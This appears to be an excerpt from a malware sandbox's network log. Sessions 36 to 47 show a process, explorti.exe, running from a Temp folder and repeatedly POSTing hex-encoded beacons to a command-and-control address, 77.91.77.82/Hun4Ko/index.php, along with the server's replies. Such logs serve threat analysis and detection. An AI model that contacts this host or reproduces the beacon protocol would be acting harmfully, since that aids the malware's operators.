Jul 5, 2024 06:23:59.773355007 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:23:59.995841980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:23:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	51532	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:00.110121012 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:00.824109077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:00.824896097 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:01.056037903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	51533	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:01.172905922 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:01.863332987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:01.864298105 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:02.262379885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	51534	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:02.385951996 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:03.099250078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:03.100017071 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:03.324826956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	51535	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:03.438400030 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:04.157807112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:04.158724070 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:04.380897045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	51536	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:04.500865936 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:05.203448057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:05.204425097 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:05.426672935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	51537	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:05.549854994 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:06.279354095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:06.280217886 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:06.508721113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	51538	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:06.626317978 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:07.319710016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:07.320666075 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:07.536751986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	51539	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:07.657680035 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:08.358505964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:08.359263897 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:08.580287933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	51540	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:08.688426018 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:09.427660942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:09.428800106 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:09.650814056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	51541	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:09.766604900 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:10.459228039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:10.461992979 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:10.677769899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	51542	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:10.797832966 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:11.489813089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:11.490597010 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:24:11.706825018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	51543	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:24:11.815135002 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:24:12.513698101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:24:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 06:24:12.514533997 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
